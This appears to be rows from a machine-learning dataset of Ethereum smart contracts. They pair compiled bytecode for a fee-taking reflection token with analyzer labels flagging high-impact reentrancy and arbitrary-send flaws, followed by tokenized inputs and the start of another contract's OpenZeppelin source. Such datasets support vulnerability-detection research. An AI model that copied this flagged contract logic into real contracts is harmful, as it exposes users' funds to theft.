fd5b5035610ea6565b34801561066a57600080fd5b5061046b610f15565b34801561067f57600080fd5b50610418610f24565b34801561069457600080fd5b50610418610f33565b3480156106a957600080fd5b5061059d600480360360208110156106c057600080fd5b50351515610f3c565b3480156106d557600080fd5b5061059d600480360360208110156106ec57600080fd5b5035610fdf565b3480156106ff57600080fd5b5061059d6004803603602081101561071657600080fd5b503561104e565b34801561072957600080fd5b5061059d6004803603604081101561074057600080fd5b506001600160a01b03813516906020013515156110bd565b34801561076457600080fd5b5061059d6004803603602081101561077b57600080fd5b50356001600160a01b0316611152565b34801561079757600080fd5b506103436111fe565b3480156107ac57600080fd5b50610343600480360360208110156107c357600080fd5b50356001600160a01b0316611204565b3480156107df57600080fd5b5061059d611266565b3480156107f457600080fd5b50610343611327565b34801561080957600080fd5b5061059d61132d565b34801561081e57600080fd5b5061046b6113df565b34801561083357600080fd5b5061036a6113ee565b34801561084857600080fd5b5061034361144c565b34801561085d57600080fd5b5061059d6004803603604081101561087457600080fd5b81019060208101813564010000000081111561088f57600080fd5b8201836020820111156108a157600080fd5b803590602001918460208302840111640100000000831117156108c357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250611452915050565b34801561090f57600080fd5b506104186004803603604081101561092657600080fd5b506001600160a01b038135169060200135611489565b34801561094857600080fd5b506104186004803603604081101561095f57600080fd5b506001600160a01b0381351690602001356114f1565b34801561098157600080fd5b5061059d6004803603602081101561099857600080fd5b5035611505565b3480156109ab57600080fd5b5061059d600480360360208110156109c257600080fd5b50351515611574565b3480156109d757600080fd5b50610418600480360360208110156109ee57600080fd5b50356001600160a01b031661164b565b348015610a0a57600080fd5b5061059d60048036036020811015610a2157600080fd5b5035611669565b348015610a3457600080fd5b506103436116d8565b348015610a4957600080fd5b5061034360048036036040811015610a6057600080fd5b506001600160a01b03813581169160200135166116de565b348015610a8457600080fd5b5061046b611709565b348015610a9957600080fd5b50610343611718565b348015610aae57600080fd5b5061059d60048036036020811015610ac557600080fd5b50356001600160a01b031661171e565b348015610ae157600080fd5b5061059d60048036036020811015610af857600080fd5b50356001600160a01b0316611951565b348015610b1457600080fd5b5061059d60048036036020811015610b2b57600080fd5b50356001600160a01b0316611a68565b60165481565b60018054604080516020601f60026000196101008789161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bcc5780601f10610ba157610100808354040283529160200191610bcc565b820191906000526020600020905b815481529060010190602001808311610baf57829003601f168201915b505050505090505b90565b6000610beb610be4611c3f565b8484611c43565b5060015b92915050565b60115481565b60175481565b6019546001600160a01b031681565b60185481565b60075490565b600c5481565b6000610c2f848484611d2f565b610c9f84610c3b611c3f565b610c9a85604051806060016040528060288152602001612e1e602891396001600160a01b038a16600090815260066020526040812090610c79611c3f565b6001600160a01b0316815260208101919091526040016000205491906121a5565b611c43565b5060019392505050565b6000600854821115610cec5760405162461bcd60e51b815260040180806020018281038252602a815260200180612d13602a913960400191505060405180910390fd5b6000610cf661223c565b9050610d0283826123b3565b9150505b919050565b60035460ff1690565b60105481565b610d22611c3f565b6000546001600160a01b03908116911614610d84576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600e55565b6013546301000000900460ff1681565b6000610beb610da6611c3f565b84610c9a8560066000610db7611c3f565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906123fc565b600d5481565b6000600754831115610e46576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610e6457610e5d610e5661223c565b8490612456565b9050610bef565b610e5d610e6f61223c565b610ea0610e99600c54600a0a600201610e93600d548961245690919063ffffffff16565b906123b3565b86906124af565b90612456565b610eae611c3f565b6000546001600160a01b03908116911614610f10576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601455565b601a546001600160a01b031681565b60135462010000900460ff1681565b60135460ff1681565b610f44611c3f565b6000546001600160a01b03908116911614610fa6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601380549115156301000000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffff909216919091179055565b610fe7611c3f565b6000546001600160a01b03908116911614611049576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601855565b611056611c3f565b6000546001600160a01b039081169116146110b8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601555565b6110c5611c3f565b6000546001600160a01b03908116911614611127576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b61115a611c3f565b6000546001600160a01b039081169116146111bc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601380546001600160a01b03909216640100000000027fffffffffffffffff0000000000000000000000000000000000000000ffffffff909216919091179055565b600e5481565b6001600160a01b0381166000908152600a602052604081205460ff161561124457506001600160a01b038116600090815260056020526040902054610d06565b6001600160a01b038216600090815260046020526040902054610bef90610ca9565b61126e611c3f565b6000546001600160a01b039081169116146112d0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600f5481565b611335611c3f565b6000546001600160a01b03908116911614611397576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805460ff1916600190811790915560408051918252517fbeda7dca7bc1b3e80b871f4818129ec73b771581f803d553aeb3484098e5f65a9181900360200190a142601655565b6000546001600160a01b031690565b60028054604080516020601f6000196101006001871615020190941685900493840181900481028201810190925282815260609390929091830182828015610bcc5780601f10610ba157610100808354040283529160200191610bcc565b60125481565b60005b82518110156114845761147b83828151811061146d57fe5b6020026020010151836114f1565b50600101611455565b505050565b6000610beb611496611c3f565b84610c9a85604051806060016040528060258152602001612efc60259139600660006114c0611c3f565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906121a5565b6000610beb6114fe611c3f565b8484611d2f565b61150d611c3f565b6000546001600160a01b0390811691161461156f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600d55565b61157c611c3f565b6000546001600160a01b039081169116146115de576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601380548215156201000081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff9092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b6001600160a01b03166000908152600a602052604090205460ff1690565b611671611c3f565b6000546001600160a01b039081169116146116d3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600f55565b60155481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b601b546001600160a01b031681565b60145481565b611726611c3f565b6000546001600160a01b03908116911614611788576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156117e45760405162461bcd60e51b8152600401808060200182810382526029815260200180612d3d6029913960400191505060405180910390fd5b6001600160a01b03811630141561182c5760405162461bcd60e51b815260040180806020018281038252602e815260200180612dae602e913960400191505060405180910390fd5b6001600160a01b0381166000908152600a602052604090205460ff16156118845760405162461bcd60e51b8152600401808060200182810382526022815260200180612eda6022913960400191505060405180910390fd5b6001600160a01b038116600090815260046020526040902054156118de576001600160a01b0381166000908152600460205260409020546118c490610ca9565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b03166000818152600a60205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db901805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b611959611c3f565b6000546001600160a01b039081169116146119bb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116611a005760405162461bcd60e51b8152600401808060200182810382526026815260200180612d666026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b611a70611c3f565b6000546001600160a01b03908116911614611ad2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166000908152600a602052604090205460ff16611b295760405162461bcd60e51b8152600401808060200182810382526022815260200180612e946022913960400191505060405180910390fd5b60005b600b54811015611c3b57816001600160a01b0316600b8281548110611b4d57fe5b6000918252602090912001546001600160a01b03161415611c3357600b80546000198101908110611b7a57fe5b600091825260209091200154600b80546001600160a01b039092169183908110611ba057fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039485161790559184168152600582526040808220829055600a90925220805460ff19169055600b805480611bff57fe5b6000828152602090208101600019908101805473ffffffffffffffffffffffffffffffffffffffff19169055019055611c3b565b600101611b2c565b5050565b3390565b6001600160a01b038316611c885760405162461bcd60e51b8152600401808060200182810382526024815260200180612eb66024913960400191505060405180910390fd5b6001600160a01b038216611ccd5760405162461bcd60e51b8152600401808060200182810382526022815260200180612d8c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611d745760405162461bcd60e51b8152600401808060200182810382526025815260200180612e6f6025913960400191505060405180910390fd5b6001600160a01b038216611db95760405162461bcd60e51b8152600401808060200182810382526023815260200180612cf06023913960400191505060405180910390fd5b60008111611df85760405162461bcd60e51b8152600401808060200182810382526029815260200180612e466029913960400191505060405180910390fd5b60135460ff1680611e215750611e0c6113df565b6001600160a01b0316836001600160a01b0316145b80611e445750611e2f6113df565b6001600160a01b0316826001600160a01b0316145b80611e6757506001600160a01b03831660009081526009602052604090205460ff165b80611e8a57506001600160a01b03821660009081526009602052604090205460ff165b611ec55760405162461bcd60e51b8152600401808060200182810382526021815260200180612ddc6021913960400191505060405180910390fd5b601354610100900460ff16158015611eeb5750601a546001600160a01b03848116911614155b8015611f105750611efa6113df565b6001600160a01b0316836001600160a01b031614155b15611f9c5760185460175460019147910142118015611f3857506013546301000000900460ff165b8015611f4657506015548110155b15611f5957611f54816124f1565b600091505b8115611f99576000611f6a30611204565b60145490915081108015908190611f89575060135462010000900460ff165b15611f9657611f96612742565b50505b50505b806000611fa761223c565b6001600160a01b03861660009081526009602052604090205490915060ff16158015611fec57506001600160a01b03841660009081526009602052604090205460ff16155b80156120005750601354610100900460ff16155b156120135761201085848361274d565b91505b61203f6120208483612456565b6001600160a01b038716600090815260046020526040902054906124af565b6001600160a01b0386166000908152600460205260409020556120846120658383612456565b6001600160a01b038616600090815260046020526040902054906123fc565b6001600160a01b038086166000908152600460209081526040808320949094559188168152600a909152205460ff16156120f5576001600160a01b0385166000908152600560205260409020546120db90846124af565b6001600160a01b0386166000908152600560205260409020555b6001600160a01b0384166000908152600a602052604090205460ff1615612153576001600160a01b03841660009081526005602052604090205461213990836123fc565b6001600160a01b0385166000908152600560205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b600081848411156122345760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121f95781810151838201526020016121e1565b50505050905090810190601f1680156122265780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60085460075460009190825b600b54811015612373578260046000600b848154811061226457fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806122c957508160056000600b84815481106122a257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156122e7576007546008546122dd916123b3565b9350505050610bd4565b61232760046000600b84815481106122fb57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906124af565b925061236960056000600b848154811061233d57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906124af565b9150600101612248565b50600754600854612383916123b3565b8210156123a257600754600854612399916123b3565b92505050610bd4565b6123ac82826123b3565b9250505090565b60006123f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128a6565b9392505050565b6000828201838110156123f5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261246557506000610bef565b8282028284828161247257fe5b04146123f55760405162461bcd60e51b8152600401808060200182810382526021815260200180612dfd6021913960400191505060405180910390fd5b60006123f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121a5565b6013805461ff00191661010017908190554260175560009064010000000090046001600160a01b0316156125745761252f600a610e93846007612456565b60135460405191925064010000000090046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015612572573d6000803e3d6000fd5b505b61258661258183836124af565b61290b565b601b5460009061259e906001600160a01b0316611204565b905060006125c3600c54600201600a0a610e93600f548561245690919063ffffffff16565b905060006125d183836124af565b905060006125dd61223c565b90506126026125ec8483612456565b32600090815260046020526040902054906123fc565b3260009081526004602052604080822092909255601b546001600160a01b031681529081205560115461263590836123fc565b60115560075461264590836124af565b60075561265e6126558383612456565b600854906124af565b600855601b5460408051858152905132926001600160a01b0316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3601b546040805184815290516000926001600160a01b0316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051878152602081018690528082018590526060810184905290517fab89f676f9e161ea2adbd81e1a375773fa55ce4e60152913602e1677f2fa0c2f9181900360800190a150506013805461ff001916905550505050565b61274b30612ae5565b565b600d546000908390156127e057600061277d600c54600201600a0a610e93600d548861245690919063ffffffff16565b905061278982826124af565b91506127986126558286612456565b6008556010546127a890826123fc565b6010556040805182815290517f6d1c76d614228b523baa4dcd9539e2c713b54ff4ab3ff2d1627e7f6cd32be4429181900360200190a1505b600e541561289e57600061280b600c54600201600a0a610e93600e548861245690919063ffffffff16565b905061281782826124af565b915061283c6128268286612456565b30600090815260046020526040902054906123fc565b3060009081526004602052604090205560125461285990826123fc565b60125560408051828152905130916001600160a01b038916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3505b949350505050565b600081836128f55760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156121f95781810151838201526020016121e1565b50600083858161290157fe5b0495945050505050565b60408051600280825260608083018452926020830190803683375050601954604080517fad5c464800000000000000000000000000000000000000000000000000000000815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561298857600080fd5b505afa15801561299c573d6000803e3d6000fd5b505050506040513d60208110156129b257600080fd5b5051815182906000906129c157fe5b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106129ef57fe5b6001600160a01b03928316602091820292909201810191909152601954601b546040517fb6f9de95000000000000000000000000000000000000000000000000000000008152600060048201818152928616604483018190524260648401819052608060248501908152895160848601528951969098169763b6f9de95978b9794968b9694959394909360a49091019187810191028083838b5b83811015612aa1578181015183820152602001612a89565b50505050905001955050505050506000604051808303818588803b158015612ac857600080fd5b505af1158015612adc573d6000803e3d6000fd5b50505050505050565b6013805461ff0019166101001790556000612aff30611204565b6040805160028082526060808301845293945090916020830190803683370190505090503081600081518110612b3157fe5b6001600160a01b03928316602091820292909201810191909152601954604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b158015612b9e57600080fd5b505afa158015612bb2573d6000803e3d6000fd5b505050506040513d6020811015612bc857600080fd5b5051815182906001908110612bd957fe5b6001600160a01b039283166020918202929092010152601954612bff9130911684611c43565b6019546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190526001600160a01b038781166064850152426084850181905260a060448601908152875160a48701528751929096169563791ac94795899589948c9493919260c40190602080880191028083838b5b83811015612c9e578181015183820152602001612c86565b505050509050019650505050505050600060405180830381600087803b158015612cc757600080fd5b505af1158015612cdb573d6000803e3d6000fd5b50506013805461ff0019169055505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7341455255533a20556e697377617020726f757465722063616e6e6f74206265206578636c756465642e4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737341455255533a2054686520636f6e74726163742069742073656c662063616e6e6f74206265206578636c7564656454726164696e67206973206c6f636b6564206265666f72652070726573616c652e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737341455255533a204163636f756e7420697320616c726561647920696e636c7564656445524332303a20617070726f76652066726f6d20746865207a65726f206164647265737341455255533a204163636f756e7420697320616c7265616479206578636c7564656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e8e53fa2001f6d46e1a04e81993d6eecc5f0aed245384097313f2b29412569aa64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2575, 2683, 2509, 2063, 23499, 2549, 2497, 15136, 2497, 2575, 18827, 5243, 2683, 2487, 2050, 18827, 2620, 16147, 2497, 14142, 2629, 2094, 23777, 29292, 20952, 2683, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,861
0x95d73d1c4EE20960ed919b46208d88209699414a
// File: @openzeppelin/contracts@4.5.0/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts@4.5.0/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts@4.5.0/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts@4.5.0/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts@4.5.0/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts@4.5.0/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount 